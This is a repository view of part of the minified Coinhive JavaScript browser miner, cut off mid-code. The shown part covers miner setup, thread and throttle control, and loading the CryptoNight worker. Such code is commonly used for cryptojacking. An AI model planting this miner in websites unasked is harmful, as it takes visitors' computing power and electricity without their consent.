coinhive-example/js/coinhive.min.js

2 lines
136 KiB
JavaScript
Raw Normal View History

2017-10-09 15:42:31 +02:00
(function(window){"use strict";var Miner=function(siteKey,params){params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,params.throttle||0));this._autoThreads={enabled:!!params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("coinhive");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now()}}.bind(this)}catch(e){}}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=params.threads||defaultThreads;this._useWASM=this.hasWASMSupport()&&!params.forceASMJS;this._asmjsStatus="unloaded";this._onTargetMetBound=this._onTargetMet.bind(this);this._onVerifiedBound=this._onVerified.bind(this)};Miner.prototype.start=function(mode){this._tab.mode=mode||CoinHive.IF_EXCLUSIVE_TAB;if(this._tab.interval){clearInterval(this._tab.interval);this._tab.interval=null}if(this._useWASM||this._asmjsStatus==="loaded"){this._startNow()}else if(this._asmjsStatus==="unloaded"){this._asmjsStatus="pending";var xhr=new XMLHttpRequest;xhr.addEventListener("load",function(){CoinHive.CRYPTONIGHT_WORKER_BLOB=window.URL.createObjectURL(new Blob([xhr.responseText]));this._asmjsStatus="loaded";this._startNow()}.bind(this),xhr);xhr.open("get",CoinHive.CONFIG.LIB_URL+"cryptonight-asmjs.min.js",true);xhr.send()}};Miner.prototype.stop=function(mode){for(var i=0;i<this._threads.length;i++){this._totalHashesFromDeadThreads+=this._threads[i].hashesTotal;this._threads[i].stop()}this._threads=[];this._autoReconnect=false;if(this._socket){this._socket.close()}this._currentJob=null;if(this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(this._tab.interval&&mode!=="dontKillTabUpdate"){clearInterval(this._tab.interval);this._tab.interval=null}};Miner.prototype.getHashesPerSecond=function(){var hashesPerSecond=0;for(var i=0;i<this._threads.length;i++){hashesPerSecond+=this._threads[i].hashesPerSecond}return hashesPerSecond};Miner.prototype.getTotalHashes=function(estimate){var now=Date.now();var hashes=this._totalHashesFromDeadThreads;for(var i=0;i<this._threads.length;i++){var thread=this._threads[i];hashes+=thread.hashesTotal;if(estimate){var tdiff=(now-thread.lastMessageTimestamp)/1e3*.9;hashes+=tdiff*thread.hashesPerSecond}}return hashes|0};Miner.prototype.getAcceptedHashes=function(){return this._hashes};Miner.prototype.getToken=function(){return this._tokenFromServer};Miner.prototype.on=function(type,callback){if(this._eventListeners[type]){this._eventListeners[type].push(callback)}};Miner.prototype.getAutoThreadsEnabled=function(enabled){return this._autoThreads.enabled};Miner.prototype.setAutoThreadsEnabled=function(enabled){this._autoThreads.enabled=!!enabled;if(!enabled&&this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}};Miner.prototype.getThrottle=function(){return this._throttle};Miner.prototype.setThrottle=function(throttle){this._throttle=Math.max(0,Math.min(.99,throttle));if(this._currentJob){this._setJob(this._currentJob)}};Miner.prototype.getNumThreads=function(){return this._targetNumThreads};Miner.prototype.setNumThreads=function(num){var num=Math.max(1,num|0);this._targetNumThreads=num;if(num>this._threads.length){for(var i=0;num>this._threads.length;i++){var thread=new CoinHive.JobThread;if(this._currentJob){thread.setJob(this._currentJob,this._onTargetMetBound)}this._threads.push(thread)}}else if(num<this._threads.length